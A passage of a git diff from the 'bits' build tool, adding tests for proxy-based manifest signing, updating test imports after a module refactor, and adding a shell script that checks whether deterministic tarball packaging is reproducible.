self.assertRaises(RuntimeError): + trust.sign_bytes_via_proxy(b"x", self.url, "gate-token") + + def test_proxy_pubkey_keyid(self): + kid, pub = trust.proxy_pubkey(self.url, "gate-token") + self.assertEqual(kid, trust.key_id(self.priv.public_key())) + self.assertEqual(trust._pub_bytes(pub), + trust._pub_bytes(self.priv.public_key())) + + def test_sign_manifest_via_proxy_writes_verifiable_sig(self): + d = tempfile.mkdtemp() + try: + mp = os.path.join(d, "common.json") + payload = b'{"packages":[],"build_id":"b1"}' + with open(mp, "wb") as fh: + fh.write(payload) + sp = trust.sign_manifest_via_proxy(mp, self.url, "gate-token") + with open(sp) as fh: + env = json.load(fh) + trusted = {trust.key_id(self.priv.public_key()): self.priv.public_key()} + self.assertEqual(trust.verify_bytes(payload, env, trusted), + trust.key_id(self.priv.public_key())) + finally: + import shutil + shutil.rmtree(d, ignore_errors=True) + + +class _ParserError(Exception): + pass + + +class _FakeParser: + def error(self, msg): + raise _ParserError(msg) + + +class TestCertifyViaProxy(TestSignViaProxy): + """certify() end-to-end through the proxy signer (Increment 2).""" + + def _bom(self, d): + man = {"build_id": "b1", "packages": [ + {"package": "A", "version": "1", "revision": "1", + "effective_architecture": "slc7_x86-64", "hash": "h1", + "tarball_sha256": "sha256:aa", "tarball": "A.tar.gz"}]} + mpath = os.path.join(d, "bom.json") + with open(mpath, "w") as fh: + json.dump(man, fh) + return mpath + + def test_certify_signs_verifiably_via_proxy(self): + d = tempfile.mkdtemp() + try: + out = os.path.join(d, "common.json") + with patch("bits_helpers.certify.trust.load_key_policy", + return_value=None): + op, sp = certify.certify([self._bom(d)], None, out, probe=None, + sign_proxy=(self.url, "gate-token")) + with open(op, "rb") as fh: + data = fh.read() + with open(sp) as fh: + env = json.load(fh) + trusted = {trust.key_id(self.priv.public_key()): self.priv.public_key()} + self.assertEqual(trust.verify_bytes(data, env, trusted), + trust.key_id(self.priv.public_key())) + finally: + shutil.rmtree(d, ignore_errors=True) + + def test_policy_check_uses_proxy_key_id(self): + # The producer-side group-policy check must get its key_id from the proxy + # (there is no local private key). A deny-all policy must refuse to sign. + d = tempfile.mkdtemp() + try: + out = os.path.join(d, "common.json") + with patch("bits_helpers.certify.trust.load_key_policy", + return_value={"default": []}): + with self.assertRaises(certify.CertifyError): + certify.certify([self._bom(d)], None, out, probe=None, + sign_proxy=(self.url, "gate-token")) + finally: + shutil.rmtree(d, ignore_errors=True) + + +class TestCertifyCLIViaProxy(TestSignViaProxy): + """The `bits certify --sign-via-proxy` CLI wiring (Increment 3).""" + + def _bom(self, d): + return TestCertifyViaProxy._bom(self, d) + + def _args(self, d, **over): + from types import SimpleNamespace + a = dict(manifests=[self._bom(d)], out=os.path.join(d, "common.json"), + workDir=d, noStoreCheck=True, architecture="slc7_x86-64", + certifyStore=None, architectures=None, group=None, + validDays=None, sourceCommit=None, requireApproval=False, + key=None, signViaProxy=False, signProxyUrl=None) + a.update(over) + return SimpleNamespace(**a) + + def test_cli_sign_via_proxy_produces_verifiable_manifest(self): + d = tempfile.mkdtemp() + os.environ["BITS_SIGN_PROXY_TOKEN"] = "gate-token" + try: + args = self._args(d, signViaProxy=True, signProxyUrl=self.url) + with patch("bits_helpers.certify.trust.load_key_policy", return_value=None): + certify.doCertify(args, _FakeParser()) + op = os.path.join(d, "common-slc7_x86-64.json") + with open(op, "rb") as fh: + data = fh.read() + with open(op + ".sig") as fh: + env = json.load(fh) + trusted = {trust.key_id(self.priv.public_key()): self.priv.public_key()} + self.assertEqual(trust.verify_bytes(data, env, trusted), + trust.key_id(self.priv.public_key())) + finally: + os.environ.pop("BITS_SIGN_PROXY_TOKEN", None) + shutil.rmtree(d, ignore_errors=True) + + def test_cli_proxy_without_token_errors(self): + d = tempfile.mkdtemp() + os.environ.pop("BITS_SIGN_PROXY_TOKEN", None) + try: + args = self._args(d, signViaProxy=True, signProxyUrl=self.url) + with self.assertRaises(_ParserError): + certify.doCertify(args, _FakeParser()) + finally: + shutil.rmtree(d, ignore_errors=True) + + def test_cli_no_key_no_proxy_errors(self): + d = tempfile.mkdtemp() + try: + with self.assertRaises(_ParserError): + certify.doCertify(self._args(d), _FakeParser()) + finally: + shutil.rmtree(d, ignore_errors=True) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_utilities.py b/tests/test_utilities.py index d1643a88..f952a5f1 100644 --- a/tests/test_utilities.py +++ b/tests/test_utilities.py @@ -6,17 +6,17 @@ # Assuming you are using the mock library to ... mock things from unittest.mock import patch -from bits_helpers.utilities import doDetectArch, filterByArchitectureDefaults, disabledByArchitectureDefaults -from bits_helpers.utilities import resolve_variables, predefined_arch_vars +from bits_helpers.matchers import filterByArchitectureDefaults, disabledByArchitectureDefaults +from bits_helpers.matchers import resolve_variables +from bits_helpers.arch import doDetectArch, predefined_arch_vars from bits_helpers.utilities import Hasher from bits_helpers.utilities import asList from bits_helpers.utilities import prunePaths from bits_helpers.utilities import resolve_version, resolve_spec_data, resolve_tag from bits_helpers.utilities import topological_sort -from bits_helpers.utilities import resolveFilename, resolveDefaultsFilename -from bits_helpers.utilities import _parse_req_matcher, _collect_version_pins -from bits_helpers.utilities import asDict, merge_dicts -from bits_helpers.utilities import _version_compare, _parse_patch_entry, filterPatches, _matcher_active +from bits_helpers.matchers import _parse_req_matcher, _collect_version_pins +from bits_helpers.defaults import asDict, merge_dicts +from bits_helpers.matchers import _version_compare, _parse_patch_entry, filterPatches, _matcher_active from collections import OrderedDict import bits_helpers import bits_helpers.log @@ -696,7 +696,7 @@ class ArchTemplateTest(unittest.TestCase): UBUNTU = ("ubuntu", "25.10", "") def _comp(self, processor="x86_64"): - from bits_helpers.utilities import arch_components + from bits_helpers.arch import arch_components return arch_components(True, [], self.UBUNTU, "Linux", processor) def test_components(self): @@ -705,35 +705,35 @@ def test_components(self): def test_default_layout_unchanged(self): # The built-in template must reproduce today's string byte-for-byte. - from bits_helpers.utilities import doDetectArch, DEFAULT_ARCH_TEMPLATE, apply_arch_template + from bits_helpers.arch import doDetectArch, DEFAULT_ARCH_TEMPLATE, apply_arch_template self.assertEqual(DEFAULT_ARCH_TEMPLATE, "%(os)s_%(machine)s") self.assertEqual(doDetectArch(True, [], self.UBUNTU, "Linux", "x86_64"), "ubuntu2510_x86-64") self.assertEqual(apply_arch_template(DEFAULT_ARCH_TEMPLATE, self._comp()), "ubuntu2510_x86-64") def test_three_layouts(self): - from bits_helpers.utilities import apply_arch_template + from bits_helpers.arch import apply_arch_template c = self._comp() self.assertEqual(apply_arch_template("%(os)s_%(machine)s", c), "ubuntu2510_x86-64") self.assertEqual(apply_arch_template("%(os)s_%(_machine)s", c), "ubuntu2510_x86_64") self.assertEqual(apply_arch_template("%(_machine)s-%(os)s", c), "x86_64-ubuntu2510") def test_literal_template_passthrough(self): - from bits_helpers.utilities import apply_arch_template + from bits_helpers.arch import apply_arch_template self.assertEqual(apply_arch_template("ubuntu2510_x86-64", self._comp()), "ubuntu2510_x86-64") def test_bad_template_raises(self): - from bits_helpers.utilities import apply_arch_template + from bits_helpers.arch import apply_arch_template with self.assertRaises(ValueError): apply_arch_template("%(nope)s", self._comp()) def test_osx_components(self): - from bits_helpers.utilities import arch_components + from bits_helpers.arch import arch_components c = arch_components(False, [], ("", "", ""), "Darwin", "arm64") self.assertEqual(c["os"], "osx") self.assertEqual(c["machine"], "arm64") def test_tokens(self): - from bits_helpers.utilities import arch_distro_token, arch_machine_token + from bits_helpers.arch import arch_distro_token, arch_machine_token self.assertEqual(arch_distro_token("x86_64-ubuntu2510"), "ubuntu2510") self.assertEqual(arch_distro_token("slc9_aarch64"), "slc9") self.assertEqual(arch_machine_token("ubuntu2510_x86_64"), "x86_64") @@ -741,7 +741,7 @@ def test_tokens(self): self.assertIsNone(arch_distro_token("garbage123")) def test_normalise_arch_key_equivalence(self): - from bits_helpers.utilities import normalise_arch_key + from bits_helpers.arch import normalise_arch_key # underscore and dash machine forms collapse to the same key self.assertEqual(normalise_arch_key("ubuntu2404_x86_64"), normalise_arch_key("ubuntu2404_x86-64")) @@ -871,5 +871,25 @@ def test_unknown_variable_still_fatal(self): self.assertIn("release", die.call_args[0][1]) +class YamlCompatReexportTest(unittest.TestCase): + """External recipe generators (e.g. cms.bits) import yamlLoad/yamlDump from + bits_helpers.utilities. yamlLoad moved to bits_helpers.recipe and yamlDump was + restored there; both must stay importable at the OLD utilities location so a + future move does not silently break out-of-repo callers.""" + + def test_reexported_from_utilities(self): + from bits_helpers.utilities import yamlLoad, yamlDump + from bits_helpers import recipe + self.assertIs(yamlLoad, recipe.yamlLoad) + self.assertIs(yamlDump, recipe.yamlDump) + + def test_round_trip_preserves_content(self): + from bits_helpers.utilities import yamlLoad, yamlDump + d = yamlLoad("package: Foo\nversion: 1.0\ntag: v1\n") + out = yamlDump(d) + self.assertIn("package: Foo", out) + self.assertEqual(dict(yamlLoad(out)), dict(d)) + + if __name__ == '__main__': unittest.main() diff --git a/tests/test_verify.py b/tests/test_verify.py index 8fdea563..5acf32c3 100644 --- a/tests/test_verify.py +++ b/tests/test_verify.py @@ -270,7 +270,7 @@ class TestDoVerify(unittest.TestCase): def setUp(self): # Patch detectArch so the architecture check always matches ARCH. # doVerify imports from bits_helpers.utilities so patch it there. - patcher = patch("bits_helpers.utilities.detectArch", return_value=self.ARCH) + patcher = patch("bits_helpers.arch.detectArch", return_value=self.ARCH) self.mock_detectArch = patcher.start() self.addCleanup(patcher.stop) diff --git a/tests/test_view_cmd.py b/tests/test_view_cmd.py index 1aa06d86..b3ba06c1 100644 --- a/tests/test_view_cmd.py +++ b/tests/test_view_cmd.py @@ -162,8 +162,8 @@ def test_closure_views_dir_from_metadata(self): with open(os.path.join(a, ".meta.json"), "w") as fh: json.dump({"build_id": "L-1", "cvmfs_layout": {"views_dir": "release-views"}}, fh) - self.assertEqual(view_cmd.closure_views_dir([a]), "release-views") - self.assertEqual(view_cmd.closure_views_dir( + self.assertEqual(view_cmd.layout_views_dir([a]), "release-views") + self.assertEqual(view_cmd.layout_views_dir( [os.path.join(d, "nope")]), "Views") # default def test_prefers_published_view_under_custom_views_dir(self): diff --git a/tests/test_view_publish_cmd.py b/tests/test_view_publish_cmd.py index 1c37a604..3e3c84ec 100644 --- a/tests/test_view_publish_cmd.py +++ b/tests/test_view_publish_cmd.py @@ -1,7 +1,7 @@ # SPDX-FileCopyrightText: 2015-2026 CERN # SPDX-License-Identifier: GPL-3.0-or-later -"""Tests for `bits publish --view` build_id derivation + view placement.""" +"""Tests for `bits publish --release-view` build_id derivation + view placement.""" import json import os diff --git a/tools/verify-deterministic-tarball.sh b/tools/verify-deterministic-tarball.sh new file mode 100755 index 00000000..41638fb2 --- /dev/null +++ b/tools/verify-deterministic-tarball.sh @@ -0,0 +1,139 @@ +#!/usr/bin/env bash +# verify-deterministic-tarball.sh +# +# Verify the PROPOSED deterministic packaging for bits (finding R1): does it make +# two independent "builds" of byte-identical CONTENT produce a byte-identical +# .tar.gz on THIS platform? Run it on each build platform (Linux/GNU tar and +# macOS/bsdtar) — certification is per-architecture, so per-platform +# reproducibility is what matters. +# +# It builds two trees with identical content but DIFFERENT metadata (mtimes, +# creation order) — the very things that vary between build nodes — then: +# 1. packs both with the CURRENT approach -> expected: sha DIFFERS (the bug) +# 2. packs both with the PROPOSED approach -> expected: sha IDENTICAL (fixed) +# 3. shows the compressor matters: gzip vs pigz differ, gzip -n is stable +# +# Exit status: 0 if the proposed approach is deterministic here, 1 otherwise. +set -u + +TMP=$(mktemp -d 2>/dev/null || mktemp -d -t bitsdet) +trap 'rm -rf "$TMP"' EXIT +fail=0 + +# ---- platform detection ----------------------------------------------------- +if tar --version 2>/dev/null | grep -qi 'GNU tar'; then TARKIND=gnu; else TARKIND=bsd; fi +if command -v sha256sum >/dev/null 2>&1; then SHA() { sha256sum "$1" | cut -d' ' -f1; } +elif command -v shasum >/dev/null 2>&1; then SHA() { shasum -a 256 "$1" | cut -d' ' -f1; } +else echo "no sha256 tool"; exit 2; fi +echo "platform : $(uname -s) $(uname -m)" +echo "tar : $TARKIND — $(tar --version 2>/dev/null | head -1)" +echo "pigz : $(command -v pigz || echo 'not installed')" +echo + +# ---- two content-identical trees with different metadata -------------------- +make_tree() { # $1=dir $2=order(1|2) + mkdir -p "$1/bin" "$1/lib" "$1/share/doc" + if [ "$2" = 1 ]; then + printf 'AAA' >"$1/bin/a"; printf 'BBB' >"$1/lib/libb.so"; printf 'CCC' >"$1/share/doc/c.txt" + else # create in a different order (varies readdir/archive order) + printf 'CCC' >"$1/share/doc/c.txt"; printf 'BBB' >"$1/lib/libb.so"; printf 'AAA' >"$1/bin/a" + fi + ln -sf a "$1/bin/link" +} +mkdir -p "$TMP/A" "$TMP/B" +make_tree "$TMP/A" 1 +sleep 1 # guarantee different real mtimes +make_tree "$TMP/B" 2 +# push B's mtimes somewhere else entirely, to be sure they differ from A +find "$TMP/B" -exec touch -t 202001020304 {} + 2>/dev/null + +# ---- CURRENT packaging (what build_template.sh does today) ------------------ +pack_current() { # $1=tree $2=out + ( cd "$1" && tar -cf - . ) | gzip -c > "$2" +} + +# ---- PROPOSED deterministic packaging --------------------------------------- +# Normalise mtimes portably (bsdtar has no --mtime), archive a SORTED member +# list with no recursion and zeroed numeric owner/group, then a PINNED gzip -n. +pack_det() { # $1=tree $2=out $3=compressor-cmd (default: gzip -n) + comp=${3:-gzip -n} + find "$1" -exec touch -h -t 197001010000 {} + 2>/dev/null || \ + find "$1" -exec touch -t 197001010000 {} + 2>/dev/null + ( cd "$1" && find . -print | LC_ALL=C sort > "$TMP/list" ) + if [ "$TARKIND" = gnu ]; then + ( cd "$1" && tar --no-recursion --owner=0 --group=0 --numeric-owner \ + --mtime='@0' -T "$TMP/list" -cf - ) | $comp -c > "$2" + else + ( cd "$1" && tar --no-recursion --uid 0 --gid 0 --numeric-owner \ + -T "$TMP/list" -cf - ) | $comp -c > "$2" + fi +} + +check() { # $1=label $2=fileA $3=fileB $4=want(same|diff) — affects RESULT + a=$(SHA "$2"); b=$(SHA "$3") + if [ "$a" = "$b" ]; then got=same; else got=diff; fi + if [ "$got" = "$4" ]; then res="PASS"; else res="FAIL"; fail=1; fi + printf ' %-42s %s (%s)\n' "$1" "$res" "$got" + [ "$got" = diff ] && printf ' A=%s\n B=%s\n' "$a" "$b" +} + +report() { # $1=label $2=fileA $3=fileB — informational only, never fails + a=$(SHA "$2"); b=$(SHA "$3") + if [ "$a" = "$b" ]; then got=same; else got=diff; fi + printf ' %-42s .... (%s)\n' "$1" "$got" +} + +det_tar() { # $1=tree -> deterministic tar stream on stdout + find "$1" -exec touch -h -t 197001010000 {} + 2>/dev/null || \ + find "$1" -exec touch -t 197001010000 {} + 2>/dev/null + ( cd "$1" && find . -print | LC_ALL=C sort > "$TMP/dl" ) + if [ "$TARKIND" = gnu ]; then + ( cd "$1" && tar --no-recursion --owner=0 --group=0 --numeric-owner \ + --mtime='@0' -T "$TMP/dl" -cf - ) + else + ( cd "$1" && tar --no-recursion --uid 0 --gid 0 --numeric-owner \ + -T "$TMP/dl" -cf - ) + fi +} + +echo "== 1. current approach (expected: DIFFERS — demonstrates the bug) ==" +pack_current "$TMP/A" "$TMP/cur.a.tgz"; pack_current "$TMP/B" "$TMP/cur.b.tgz" +check "current tar|gzip, two builds" "$TMP/cur.a.tgz" "$TMP/cur.b.tgz" diff + +echo "== 2. proposed approach (expected: IDENTICAL — the fix) ==" +pack_det "$TMP/A" "$TMP/det.a.tgz"; pack_det "$TMP/B" "$TMP/det.b.tgz" +check "deterministic tar + gzip -n" "$TMP/det.a.tgz" "$TMP/det.b.tgz" same + +echo "== 3. compressor: gzip -n is deterministic; pigz can vary ==" +# gzip -n twice -> identical (this IS a pass criterion). +pack_det "$TMP/A" "$TMP/g1.tgz" "gzip -n"; pack_det "$TMP/A" "$TMP/g2.tgz" "gzip -n" +check "gzip -n vs gzip -n (same input)" "$TMP/g1.tgz" "$TMP/g2.tgz" same +# The rest is INFORMATIONAL (never changes RESULT): for a SMALL input pigz emits +# a single block == gzip. The real hazard is LARGE inputs, where pigz's block +# layout depends on the THREAD COUNT (the node's core count) — so two nodes with +# pigz but different -p produce different bytes. Demonstrate on a multi-MB payload. +if command -v pigz >/dev/null 2>&1; then + pack_det "$TMP/A" "$TMP/pz.tgz" "pigz -n" + report "small: gzip -n vs pigz -n" "$TMP/g1.tgz" "$TMP/pz.tgz" + mkdir -p "$TMP/big"; head -c 8000000 /dev/urandom | base64 > "$TMP/big/data" + det_tar "$TMP/big" | gzip -n -c > "$TMP/b.gzip" + det_tar "$TMP/big" | pigz -n -p1 -c > "$TMP/b.p1a" + det_tar "$TMP/big" | pigz -n -p1 -c > "$TMP/b.p1b" + det_tar "$TMP/big" | pigz -n -p4 -c > "$TMP/b.p4" + report "large: pigz -p1 vs pigz -p1" "$TMP/b.p1a" "$TMP/b.p1b" + report "large: pigz -p1 vs pigz -p4" "$TMP/b.p1a" "$TMP/b.p4" + report "large: gzip -n vs pigz -p1" "$TMP/b.gzip" "$TMP/b.p1a" + echo " -> a 'diff' on any large: line means the compressor + thread count must" + echo " be pinned (use gzip -n, or pigz -n with a fixed -p, on every node)." +else + echo " (pigz not installed — install it to see the large-input / thread divergence)" +fi + +echo +if [ "$fail" = 0 ]; then + echo "RESULT: deterministic packaging is REPRODUCIBLE on this platform." +else + echo "RESULT: NOT fully reproducible here — see FAIL lines above (this platform" + echo " needs different flags; report which line failed)." +fi +exit $fail